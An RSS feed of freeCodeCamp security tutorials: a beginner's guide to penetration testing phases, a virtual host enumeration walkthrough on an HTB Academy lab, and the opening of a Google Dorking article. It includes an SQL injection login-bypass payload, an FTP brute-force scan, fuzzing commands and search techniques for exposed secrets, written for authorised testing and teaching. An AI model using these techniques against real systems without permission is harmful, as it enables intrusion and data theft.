<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ penetration testing - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ penetration testing - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Mon, 18 May 2026 10:47:44 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/penetration-testing/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ What is Penetration Testing in Cybersecurity? A Beginner's Guide ]]>
                </title>
                <description>
                    <![CDATA[ In today's digital world, almost every activity we engage in is intertwined with technology. From making payments via UPI and booking movie or travel tickets online to selling products through e-commerce platforms, technology has become an integral p... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/beginners-guide-to-penetration-testing-cybersecurity/</link>
                <guid isPermaLink="false">67a62fc9c3ae66ee9e7a4b3e</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ security testing  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ P S Mohammed Ali ]]>
                </dc:creator>
                <pubDate>Fri, 07 Feb 2025 16:07:37 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1738941455446/843335c0-35a3-4173-bd4c-7baf0e630e8e.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In today's digital world, almost every activity we engage in is intertwined with technology. From making payments via UPI and booking movie or travel tickets online to selling products through e-commerce platforms, technology has become an integral part of our daily routine.</p>
<p>To make sure that these activities are safe and secure, dev teams need to have a robust security testing framework in place. This helps identify vulnerabilities, prevent cyber threats, and maintain the integrity of digital transactions.</p>
<p>In this article, you will learn all about penetration testing – what it is, why each phase of the process is important, and the tools pentesters use to do their jobs.</p>
<h2 id="heading-what-is-penetration-testing">What is Penetration Testing?</h2>
<p>Penetration Testing is a practice used by security professionals to help companies and teams secure their data. A company gives the security pro permission to try to find vulnerabilities in their system. The security pro then reports any potential weak spots they find to the company so they can fix them. This helps these companies prevent potential attacks before hackers can get access to their data.</p>
<p>If a company fails to conduct pentesting, it can lead to serious consequences like policy violations, hefty compliance regulation fines, loss of customer trust, and a decline in the organization's reputation and overall business value.</p>
<p>There are four phases of penetration testing:</p>
<ol>
<li><p>Reconnaissance</p>
</li>
<li><p>Scanning</p>
</li>
<li><p>Exploitation</p>
</li>
<li><p>Report Submission</p>
</li>
</ol>
<p>Let’s go through each one so you can learn what’s involved in the entire process.</p>
<h2 id="heading-reconnaissance-the-art-of-information-gathering">Reconnaissance: The Art of Information Gathering</h2>
<p>Reconnaissance involves gathering information about the target system or network. A pentester’s goal here is to collect as much data as possible about the target, helping them understand the target’s architecture, identify potential vulnerabilities, and develop an effective attack strategy.</p>
<p>In reconnaissance, testing can be conducted in various ways, such as browsing social media for information about the target, using information-gathering tools like theHarvester to crawl websites related to the target domain, and more.</p>
<p>At this stage, all available data—whether technical or non-technical—is gathered without filtering for relevance. The goal is to collect as much information as possible, as even seemingly insignificant details can later prove useful in an attack.</p>
<p>Reconnaissance is crucial for a successful penetration test. So it can be a time-consuming process, often taking anywhere from a few hours to several weeks, depending on the complexity of the target.</p>
<h3 id="heading-types-of-reconnaissance"><strong>Types of Reconnaissance</strong></h3>
<p>We can categorize reconnaissance into two main types based on the level of interaction with the target system:</p>
<p>First, we have passive reconnaissance. This involves gathering information from publicly available sources <strong>without directly interacting</strong> with the target system. Since no direct contact is made, it is stealthy and less likely to alert the target.</p>
<p>At this point, a question may arise: If penetration testing is conducted with prior approval from the target domain, why should we conduct passive reconnaissance to minimize direct interaction when we have the freedom to perform active reconnaissance?</p>
<p>Well, a penetration tester must think from an unethical hacker's perspective. Attackers often rely heavily on passive reconnaissance techniques to gather critical information without alerting the target, making it a crucial phase in ethical hacking as well.</p>
<p>This is why penetration testing should include passive reconnaissance. It helps identify potential information leaks, such as a target company's public announcements or employees posting coding-related doubts on platforms like Substack, which could lead to unauthorized system access.</p>
<p>Active Reconnaissance, on the other hand, involves <strong>direct interaction</strong> with the target system to extract specific information. Common methods include port scanning, banner grabbing, and network sniffing.</p>
<p>This approach provides more accurate and detailed information, but it comes with a higher risk—the tester’s IP address or digital footprint may be logged by the target system.</p>
<p>For the reconnaissance phase, there are numerous tools available on the internet. But a few are considered highly efficient and popular among penetration testers. Some of these include Medusa and theHarvester.</p>
<p>As an example here, we’ll use theHarvester to gather information on a target domain (Zudio.com) and analyze the different types of data retrieved by the tool.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738871546984/dc7e71a4-e76d-42df-b895-4b2f626fe902.png" alt="dc7e71a4-e76d-42df-b895-4b2f626fe902" class="image--center mx-auto" width="592" height="335" loading="lazy"></p>
<p>You can see that the tool crawled the Brave search engine and discovered a couple of IP addresses along with additional subdomains of the target domain (Zudio.com). These findings should be properly documented and included in the target’s reconnaissance report.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738871767740/e0af88ca-35ec-435c-9196-2a0f173cb6fd.png" alt="Findings from gathering info using theHarvester" class="image--center mx-auto" width="433" height="462" loading="lazy"></p>
<h2 id="heading-scanning-the-art-of-detecting-loopholes">Scanning: The Art of Detecting Loopholes</h2>
<p>The information a pentester gathers during the reconnaissance phase serves as a crucial input for the scanning phase. This data helps them gain deeper insights into the target system, allowing them to pinpoint areas and filter data that require further analysis.</p>
<p>With a wide range of scanning tools available, pentesters utilize various techniques to:</p>
<ul>
<li><p>Identify open ports, as they can serve as potential entry points.</p>
</li>
<li><p>Monitor network activity to detect vulnerabilities and security gaps.</p>
</li>
</ul>
<h3 id="heading-phases-of-scanning"><strong>Phases of Scanning</strong></h3>
<p>Scanning typically involves two key steps:</p>
<p>First, we have <strong>port scanning</strong>, which identifies open and closed ports on the target system. This helps determine which services are running and are potentially exploitable.</p>
<p>System Ports serve as entry points for a computer system to perform various tasks. Ensuring that all unnecessary ports are closed is crucial for security. Leaving optional ports open can create potential entry points for hackers.</p>
<p>You can use tools like <strong>Nmap, Netcat, Masscan</strong> for this purpose.</p>
<p>For better understanding, let's scan a sample target domain (192.168.13.136) using Nmap and check which service ports are open.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738868226793/82cc30ab-7383-4b81-95ab-95e6a1b9bf07.png" alt="Nmap scan Result for sample target domain showing open ports" class="image--center mx-auto" width="641" height="510" loading="lazy"></p>
<p>Next, we have <strong>vulnerability scanning</strong>, which detects weaknesses in software, configurations, and services. It helps pentesters assess the security risks associated with identified ports and services.</p>
<p>Let’s use the same nmap tool to detect the vulnerabilities from the identified open ports. In the scanning results, you can see that port 21 is open and this port is specifically used for File Transfer Protocol.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738871075994/70823cf4-97ce-4cb7-b76b-0a8db3acb1bb.png" alt="Results of nmap vulnerability scan" class="image--center mx-auto" width="819" height="333" loading="lazy"></p>
<p>Here, we run Nmap on the target address (192.168.13.136) to scan FTP port 21 using the ftp-brute script. This allows us to check whether the FTP service is accessible using default usernames and passwords.</p>
<p>During the scan, we were able to extract additional useful information, including details about the FTP server version (vsftpd 2.3.4). This information can be valuable for identifying potential vulnerabilities in this version.</p>
<p>Finally, the tool successfully identified a vulnerability in the server by discovering valid usernames and passwords from the dictionary list included in the tool.</p>
<p>In general, reconnaissance and scanning are often overlooked by security analysts, assuming they are not important. But these phases provide a valuable dataset and a deeper understanding of the target domain. They help in filtering and directing the exploitation process, allowing penetration testers to focus on specific vulnerabilities instead of blindly attempting various exploits.</p>
<p>Skipping these phases leads to inefficiency, wasting time, resources, and effort. So for successful exploitation, it is essential to conduct thorough information gathering and scanning before proceeding further.</p>
<h2 id="heading-exploitation-the-art-of-attack-simulation">Exploitation: The Art of Attack Simulation</h2>
<p>The outcome of the scanning phase gives pentesters a clear understanding of potential entry points, commonly referred to as “open doors”, through identified ports and services. These insights help testers determine which vulnerabilities can be exploited to simulate a real-world cyberattack.</p>
<p>Once vulnerabilities are identified, testers deploy various attack techniques to assess their impact. The goal is to demonstrate how a malicious hacker could gain unauthorized access and compromise the target system. Some common attack methods include:</p>
<ul>
<li><p><strong>SQL Injection</strong> – Exploiting database vulnerabilities.</p>
</li>
<li><p><strong>Cross-Site Scripting (XSS)</strong> – Injecting malicious scripts into web applications.</p>
</li>
<li><p><strong>Buffer Overflow</strong> – Overwriting memory to execute malicious code.</p>
</li>
<li><p><strong>Brute Force Attacks</strong> – Cracking weak passwords for system access.</p>
</li>
</ul>
<p>For a clearer understanding, let's explore how database vulnerabilities are exploited using SQL Injection attacks.</p>
<p>Let's say there is a username and password field in a login form. Typically, when a user enters their credentials, the system fetches these input values, constructs a SQL query, and sends it to the server for authentication.</p>
<p>SQL Injection works by manipulating this query to bypass authentication. At a basic level, an attacker can input specially crafted values to alter the query logic. For example, consider the following SQL query:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> PRODUCTS <span class="hljs-keyword">WHERE</span> USERNAME = <span class="hljs-string">" OR 1=1 -- "</span> <span class="hljs-keyword">AND</span> <span class="hljs-keyword">PASSWORD</span> = <span class="hljs-string">"1234"</span>
</code></pre>
<p>Let’s break down this exploit to see what’s going on:</p>
<ul>
<li><p>The OR 1=1 condition always evaluates to true, meaning the query retrieves all records from the database.</p>
</li>
<li><p>The <code>--</code> sequence is a comment operator in SQL, which ignores the rest of the query (including password verification).</p>
</li>
</ul>
<p>As a result, the attacker gains access without valid credentials, effectively bypassing authentication.</p>
<h2 id="heading-report-submission-the-art-of-validation">Report Submission: The Art of Validation</h2>
<p>The final phase of penetration testing involves reporting the vulnerabilities identified during the security test cycle. These reports are crucial for guiding the remediation process, ensuring that the company addresses any weaknesses before they can be exploited.</p>
<p>Penetration testing reports typically include detailed information about the attacks conducted, the respective results, and an assessment of the risks involved. Importantly, the language used in these reports is non-technical, as the findings are often shared with different teams across the organization, including:</p>
<ul>
<li><p>Management</p>
</li>
<li><p>Higher authorities</p>
</li>
<li><p>Non-technical teams (like HR, legal, and so on)</p>
</li>
</ul>
<p>These reports must be easily understandable and confidential, as they may contain sensitive information about the organization’s vulnerabilities.</p>
<p>The report should include the following key parameters:</p>
<ul>
<li><p>Number of employees involved</p>
</li>
<li><p>Start date and end date of the assessment</p>
</li>
<li><p>List of target domains</p>
</li>
<li><p>List of open ports (if any)</p>
</li>
<li><p>List of identified vulnerabilities, categorized by risk level (Critical, High, Medium, Low, Informational)</p>
</li>
<li><p>Preventive measures to mitigate risks</p>
</li>
<li><p>List of tools used during the assessment</p>
</li>
</ul>
<p>While the structure and content of these reports may vary from organization to organization, the above parameters are mandatory for a comprehensive security assessment.</p>
<p>The goal is to ensure that stakeholders at all levels of the organization can take appropriate action, whether it's patching a vulnerability, revising a policy, or updating a security strategy.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>The penetration testing lifecycle is continuous and it’s something your team must perform periodically. You can’t just do it once, address those concerns, and forget about it.</p>
<p>As new vulnerabilities emerge with the release of updated versions of software, applications, and systems, penetration testing remains essential in identifying and addressing these new risks.</p>
<p>A proactive approach to security through continuous penetration testing is crucial for maintaining a safe and secure digital environment for organizations and their users.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Virtual Host Enumeration – How to Uncover Hidden Web Assets ]]>
                </title>
                <description>
                    <![CDATA[ When performing external penetration testing or bug bounty hunting, security experts explore the targeted system from various angles to collect as much information as possible and identify potential attack vectors. This involves identifying all the a... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/virtual-host-enumeration-tutorial/</link>
                <guid isPermaLink="false">66bb8a50caaeb78feb348930</guid>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Nairuz Abulhul ]]>
                </dc:creator>
                <pubDate>Wed, 13 Dec 2023 18:48:10 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/12/nicolas-houdayer-BeRXM0Edn5A-unsplash.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>When performing external penetration testing or bug bounty hunting, security experts explore the targeted system from various angles to collect as much information as possible and identify potential attack vectors. This involves identifying all the available assets, domains, and subdomains.</p>
<p>During the testing reconnaissance phase, testers spend time on virtual host enumeration, which is the process of  discovering all the virtual hosts associated with a particular IP address or domain. This helps them find hidden or undocumented assets that might be vulnerable or misconfigured. </p>
<p>For example, they might find a virtual host that can be accessed without authentication. This could result in unauthorized access to sensitive data.</p>
<p>In this article, we will discuss different ways to enumerate virtual hosts and gather information from them. We will use the <a target="_blank" href="https://academy.hackthebox.com/">HTB Academy</a> exercise in the <em>“Information Gathering — Web Edition”</em> module to demonstrate the enumeration steps.</p>
<p>Note that this tutorial is for educational purposes only. Don't use this info to do harm – use it for good so you can make your projects more secure.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><a class="post-section-overview" href="#heading-virtual-hosting-overview">Virtual Hosting Overview</a><br>– <a class="post-section-overview" href="#heading-ip-based-hosting">IP-based Hosting</a><br>– <a class="post-section-overview" href="#heading-name-based-hosting">Name-based Hosting</a></li>
<li><a class="post-section-overview" href="#heading-virtual-hosts-enumeration">Virtual Hosts Enumeration</a><br>– <a class="post-section-overview" href="#heading-ffuf">Ffuf</a><br>– <a class="post-section-overview" href="#heading-gobuster">Gobuster</a><br>– <a class="post-section-overview" href="#heading-curl">Curl</a></li>
<li><a class="post-section-overview" href="#heading-post-enumeration">Post Enumeration</a><br>– <a class="post-section-overview" href="#heading-hakcheckurl">hakcheckurl</a><br>– <a class="post-section-overview" href="#heading-eyewitness">Eyewitness</a></li>
</ul>
<h2 id="heading-pre-requisites">Pre-requisites</h2>
<p>Before we start enumerating virtual hosts, we need to install some tools to help us. Most of these tools run on Linux, such as Ubuntu and Kali Linux:</p>
<ul>
<li>Ffuf</li>
<li>Gobuster</li>
<li>Eyewitness </li>
<li>hakcheckurl</li>
</ul>
<p>If you don't have these installed, I'll cover the steps below.</p>
<h2 id="heading-virtual-hosting-overview">Virtual Hosting Overview</h2>
<p>Virtual hosting is a feature that allows a single web server to host multiple websites and have them appear as if they are hosted on separate, individual servers. This is usually done to reduce resource overhead and running costs.</p>
<p>There are two types of virtual hosting: IP-based and Name-based.</p>
<h3 id="heading-ip-based-hosting"><strong>IP-based Hosting</strong></h3>
<p>This type of hosting involves configuring a web server to host multiple websites on a single server. Each hosted site is associated with a unique IP address, which can either be dedicated or shared based on the hosting configuration.</p>
<p>When a user tries to access a website, the server listens for the request, resolves the incoming hostname to its corresponding IP address, and then routes the request to the appropriate website based on that IP address.</p>
<p>Once the server identifies the intended website based on that IP address, it serves the content associated with that website to the user.</p>
<h3 id="heading-name-based-hosting"><strong>Name-based Hosting</strong></h3>
<p>This type of hosting involves configuring a web server to host multiple websites on a single IP address using different domain names. Each hosted website is typically associated with a unique hostname, but multiple hostnames can be related to a single website.</p>
<p>When a user requests to access a website, the server checks the “<strong>Host</strong>” header in the HTTP request to figure out which website the user is trying to reach. Based on the hostname provided in the Host header, the server identifies the specific website and serves the content associated with that website to the user.</p>
<h2 id="heading-virtual-hosts-enumeration">Virtual Hosts Enumeration</h2>
<h3 id="heading-ffuf">Ffuf</h3>
<p>Ffuf is a tool written in Go that can be installed on Kali Linux by running <code>sudo apt-get install ffuf</code> or <a target="_blank" href="https://github.com/ffuf/ffuf">downloaded from GitHub</a><em>.</em> This tool allows you to customize your fuzzing approaches.</p>
<p>To start searching for virtual hosts, we need to pass the IP address of the target using the <code>-u</code> flag and the associated domain name with the <code>-H</code> flag, which refers to the Host header.</p>
<p>Then, place the word FUZZ at the beginning of the domain to indicate the fuzzing position.</p>
<p>We can use different wordlists to identify virtual hosts with the <code>-w</code> flag. One popular wordlist is the <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/namelist.txt">namelist</a> list in the Seclists wordlists, while another is the <a target="_blank" href="https://wordlists.assetnote.io/">Kiterunner</a> wordlist in Assetnotes. </p>
<pre><code class="lang-bash">ffuf -w namelist.txt -u http://10.129.184.109 -H <span class="hljs-string">"HOST: FUZZ.inlanefreight.htb"</span>.
</code></pre>
<p>Fuzzing can generate numerous results that sometimes are hard to identify as valid or invalid. Filtering down the results can save you time sifting through the output. </p>
<p>You can filter one response size or a list of sizes using commas to separate them with the <code>-fs</code> flag — like <code>-fs 109, 208,</code>, and so on.</p>
<pre><code class="lang-bash">fuf -w namelist.txt -u http://10.129.184.109 -H <span class="hljs-string">"HOST: FUZZ.inlanefreight.htb"</span> -fs 10918
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*LPtY56sezItdqxJjkmy7BQ.png" alt="Figure 01 — Shows Ffuf finding virtual hosts with the provided wordlists. r3d-buck3t.com" width="770" height="564" loading="lazy">
<em>Figure 01 — Shows Ffuf finding virtual hosts with the provided wordlists.</em></p>
<p>After the fuzzing is complete, we save the output to a file. Then, we can use the <code>grep</code> utility to search the result for lines that contain the word “FUZZ” in the text. Below is an example of using grep to find the lines with the identified subdomains.</p>
<pre><code class="lang-bash">cat vhosts | grep 

FUZZFUZZ:ap
FUZZ:app
FUZZ:citrix
</code></pre>
<p>Then, we can pipe the grep output with the <code>awk</code> utility to extract only the identified subdomains using the print command, followed by a dollar sign and the column number. This entire command can be written in one line.</p>
<pre><code class="lang-bash">cat vhosts | grep FUZZ | awk <span class="hljs-string">'{print $3}'</span>
</code></pre>
<p>Using a short bash script, we append our original domain name to the identified subdomains, as seen in Figure 02.</p>
<pre><code class="lang-bash"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> $(cat vhost1); <span class="hljs-keyword">do</span> <span class="hljs-built_in">echo</span> <span class="hljs-variable">$i</span>.inlanefreight.htb ; <span class="hljs-keyword">done</span> &gt; vhost1
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*eTXWrUXGmHSwxhSw-kOW1w.png" alt="Figure 02 — Shows bash output used to append the domain name to subdomains. r3d-buck3t.com" width="770" height="269" loading="lazy">
<em>Figure 02 — Shows bash output used to append the domain name to subdomains.</em></p>
<h3 id="heading-gobuster">Gobuster</h3>
<p>Another way to enumerate virtual hosts is with the Gobuster tool using the vhost option. The tool can be installed in Kali by running <code>sudo apt-get install gobuster</code> or <a target="_blank" href="https://github.com/OJ/gobuster">downloaded from GitHub</a>.</p>
<p>To begin the enumeration process, we first need to provide the IP address using the <code>-u</code> flag and specify a wordlist with the <code>-w</code> flag. After that, we define the domain name and the position where the fuzzing starts.</p>
<p>In Gobuster, we define this information in a text file, called a pattern file, that gets passed with the <code>-p</code> flag. You can see an example of a pattern file in Figure 03 below. </p>
<pre><code class="lang-bash">{GOBUSTER}.inlanefreight.htb
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*Lyysphn9mPs0YZtiKlcmzQ.png" alt="Figure 03 shows the pattern file that specifies where to start fuzzing with Gobuster. r3d-buck3t.com" width="770" height="175" loading="lazy">
<em>Figure 03 shows the pattern file that specifies where to start fuzzing with Gobuster.</em></p>
<p>For filtering the output, we use the <code>--exclude-length</code> flag to sift through the response sizes. Multiple response sizes can be separated by commas. </p>
<pre><code class="lang-bash">gobuster vhost -u http://10.129.118.153 -w namelist.txt -p pattern --exclude-length 301 -t 10
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*uRxbEAEqMPflKomUCVnAeA.png" alt="Figure 04 — Shows using Gobuster to enumerate virtual hosts. r3d-buck3t.com" width="770" height="340" loading="lazy">
<em>Figure 04 — Shows using Gobuster to enumerate virtual hosts.</em></p>
<h3 id="heading-curl">Curl</h3>
<p>We can achieve the same thing with Curl and some bash scripting. The script below reads the content of the <em>namelist</em> file, which serves as our wordlist, and prints the message “Found Subdomain” for each subdomain it reads from the file. </p>
<pre><code class="lang-bash">cat namelist.txt | <span class="hljs-keyword">while</span> <span class="hljs-built_in">read</span> vhost; <span class="hljs-keyword">do</span> <span class="hljs-built_in">echo</span> <span class="hljs-string">"\n========\nFound Subdomain: <span class="hljs-variable">${vhost}</span>\n========="</span>;
</code></pre>
<p>Then, the curl command makes HTTP HEAD requests to the specified IP address (http://10.129.141.252), passing the subdomains from the wordlist in the Host header.</p>
<p>The output is piped to grep to extract the <code>Content-length</code> of the responses and save it in a file. </p>
<pre><code class="lang-bash">curl -s -I http://10.129.141.252 -H <span class="hljs-string">"HOST: <span class="hljs-variable">${vhost}</span>.inlanefreight.htb"</span> | grep <span class="hljs-string">"Content-Length: "</span>; <span class="hljs-keyword">done</span> &gt; output
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*pKffK46ZlDRdXHKcNr53jA.png" alt="Figure 05 — shows identifying subdomains with Curl. r3d-buck3t.com" width="770" height="256" loading="lazy">
<em>Figure 05 — shows identifying subdomains with Curl.</em></p>
<p>To search the output, we utilize the grep command again and filter for the lines that contain the text <code>“Content-Length:”</code>. Then, we use the <code>uniq</code> command to remove any duplicate lines in a text file, and the <code>-c</code> flag to count the number of times each unique line occurs.</p>
<pre><code class="lang-bash">cat output | grep <span class="hljs-string">"Content-Length:"</span> | uniq -c
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*sMo_nLdQxbFCjcarkn8TpA.png" alt="Figure 06 — shows how to use the grep and uniq commands to clean up the Curl output. r3d-buck3t.com" width="770" height="214" loading="lazy">
<em>Figure 06 — shows how to use the grep and uniq commands to clean up the Curl output.</em></p>
<p>If we want to extract subdomains from the content, we can use the <code>-B</code> flag to display a few lines before the match. In this command, we used 4 lines to retrieve the subdomain names.</p>
<pre><code class="lang-bash">cat output | grep -B 4 <span class="hljs-string">"Content-Length: 103"</span>
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*FIJCDeJakS_7BDHqOBMNsQ.png" alt="Figure 07 — shows the extracted subdomains with the grep command and the -B flag. r3d-buck3t.com" width="770" height="153" loading="lazy">
<em>Figure 07 — shows the extracted subdomains with the grep command and the -B flag.</em></p>
<h2 id="heading-post-enumeration">Post Enumeration</h2>
<p>After identifying the virtual hosts, we append HTTP or HTTPS to generate a list of URLs. We can use a one-liner bash script to do that.</p>
<pre><code class="lang-bash"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> $(cat vhost2); <span class="hljs-keyword">do</span> <span class="hljs-built_in">echo</span> <span class="hljs-string">"https://"</span><span class="hljs-variable">$i</span>; <span class="hljs-keyword">done</span> &gt; vhosts3
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*drVIRyWTRBRHxciofAxEgg.png" alt="Figure 08-shows the use of a bash script to append HTTP/s to the list of identified subdomains. r3d-buck3t.com" width="770" height="294" loading="lazy">
<em>Figure 08—shows the use of a bash script to append HTTP/s to the list of identified subdomains.</em></p>
<p>This list can then be used with other tools like hakcheckurl or Eyewitness to retrieve the HTTP response codes to check for available web pages and capture screenshots.</p>
<h3 id="heading-hakcheckurl">hakcheckurl</h3>
<p>hakcheckurl is a tool written in Go by hakluke and is <a target="_blank" href="https://github.com/hakluke/hakcheckurl">available on GitHub here</a>. The tool takes a list of URLs and returns their corresponding HTTP response codes.</p>
<p>To run the tool, you'll need to have Go installed. <a target="_blank" href="https://go.dev/doc/install">Follow the steps on Go's official site</a> for installing it on a Linux environment.</p>
<p>After installation, clone the hakcheckurl repository, build the tool with <code>go build</code>, and rename it to hakcheckurl.</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/hakluke/hakcheckurl.git

go build ./main.go

<span class="hljs-comment"># rename the tool to hakcheckurl instead of main</span>
mv main hakcheckurl
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*Mk8hTSH-K8jY0hun1us51Q.png" alt="Figure 09 — shows the hakcheckurl tool after running the build command. r3dbuck3t.com" width="770" height="339" loading="lazy">
<em>Figure 09 — shows the hakcheckurl tool after running the build command.</em></p>
<p>Next, we use the hakcheckurl tool to determine the HTTP response codes for each URL. In the below results, you can see that the URLs that used the HTTPS protocol were unreachable, while those that used the HTTP protocol returned 200 response codes. This indicates that the web pages using HTTP are up and running.</p>
<pre><code class="lang-bash">cat vhosts | ./hakcheckurl
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*U_8wcxNez5sJvQ1mSteGEg.png" alt="Figure 10 — shows the output of the hakcheckurl tool. r3d-buck3t.com" width="770" height="208" loading="lazy">
<em>Figure 10 — shows the output of the hakcheckurl tool.</em></p>
<h3 id="heading-eyewitness">Eyewitness</h3>
<p>Once we have identified the web pages that we want to inspect, we can use Eyewitness to gather more information about the underlying infrastructure and the technologies associated with the targeted websites.</p>
<p>Eyewitness is a tool created by RedSiege that can capture screenshots, retrieve header information, and identify default credentials, if any are known. We can install it on Kali with <code>sudo apt-get install eyewitness</code> or <a target="_blank" href="https://github.com/RedSiege/EyeWitness">download it from GitHub</a>.</p>
<p>To run Eyewitness, we need to pass the list of URLs using the <code>-f</code> flag. Then, we can set a custom User-Agent string for the HTTP requests with the <code>--user-agent</code> flag. This can be useful for simulating requests from different browsers or client applications.</p>
<p>We can also, specify additional ports to check with the http and https protocol using the <code>--add-http-ports</code> and <code>--add-https-ports</code> flag. This instructs Eyewitness to connect to these ports and capture screenshots, if applicable.</p>
<pre><code class="lang-bash">eyewitness -f vhost2 --user-agent <span class="hljs-string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36"</span> --add-http-ports 8080,8000,8088 --add-https-ports 8443,4433,4343
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*aw02AfYuaXLnfjVvUrcsuQ.png" alt="Figure 11 -shows Eyewitness running against a list of provided URLs. r3d-buck3t.com" width="770" height="298" loading="lazy">
<em>Figure 11 —shows Eyewitness running against a list of provided URLs.</em></p>
<p>After it runs, we get prompted to choose whether or not to open the report that has been created. If you select ‘Y’, the default web browser will open the report. If you choose ‘N’, the report will be saved to your local device.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*OxbNyxkTlmIboWAvqaMn2g.png" alt="Image" width="770" height="512" loading="lazy">
<em>Figure 12 — shows the Eyewitness generated HTML report.</em></p>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>With that we have reached the end of today’s tutorial. Throughout the article, you have discovered and explored various tools to enumerate virtual hosts. We also discussed how to use the results from these tools to expand the attack surface and gain valuable insights into the target’s infrastructure.</p>
<p>Thank you for taking the time to read this post. I also created a cheatsheet for you on <a target="_blank" href="https://r3dbuck3t.notion.site/Virtual-Hosts-c20c70e7751441b4acdb71ec07693cc2?pvs=4">Notion</a> that lists all the commands we used in this post.</p>
<h3 id="heading-resources">Resources</h3>
<ul>
<li><a target="_blank" href="https://academy.hackthebox.com/course/preview/information-gathering---web-edition">Information Gathering — Web Edition — HTB Academy</a></li>
<li><a target="_blank" href="https://linuxconfig.org/apache-ip-and-name-based-virtual-hosts-explained">Apache IP and Name Based Virtual Hosts Explained</a></li>
<li><a target="_blank" href="https://wordlists.assetnote.io/">Assetnote Wordlists</a></li>
<li><a target="_blank" href="https://github.com/danielmiessler/SecLists">SecLists Wordlists</a></li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Google Dorking for Penetration Testers — A Practical Tutorial ]]>
                </title>
                <description>
                    <![CDATA[ Every day, Google processes over 8.5 billion searches. We know how much we use Google daily. With the crawling capabilities of Google, it can also be a powerful tool for pen testers. Google can help us find exposed files, scripts and other critical r... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/google-dorking-for-pentesters-a-practical-tutorial/</link>
                <guid isPermaLink="false">66d035c7ba54db009200dc85</guid>
                
                    <category>
                        <![CDATA[ Google ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 04 Apr 2023 21:10:01 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/04/dorks.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Every day, Google processes over 8.5 billion searches. We know how much we use Google daily.</p>
<p>With the crawling capabilities of Google, it can also be a powerful tool for pen testers. Google can help us find exposed files, scripts and other critical resources in web applications.</p>
<p>To find this type of sensitive information, hackers use specific search terms in Google. We call them Google Dorks.</p>
<p>Google Dorks are special search terms that help locate information which is not found through regular web searches.</p>
<p>In this article, we will look at what Google Dorks are and how they can help us in penetration testing.</p>
<h1 id="heading-what-are-google-dorks">What are Google Dorks?</h1>
<p>A Google Dork is a special search term. These terms, when used with regular search keywords, can help us discover hidden resources crawled by Google.</p>
<p>These resources include sensitive information such as usernames, passwords, credit card numbers, email addresses, shell scripts, user accounts, and so on.</p>
<p>These Dorks are not limited to Google. We can also use them with search engines like Bing and Yahoo. The results might vary, but they still serve the same purpose.</p>
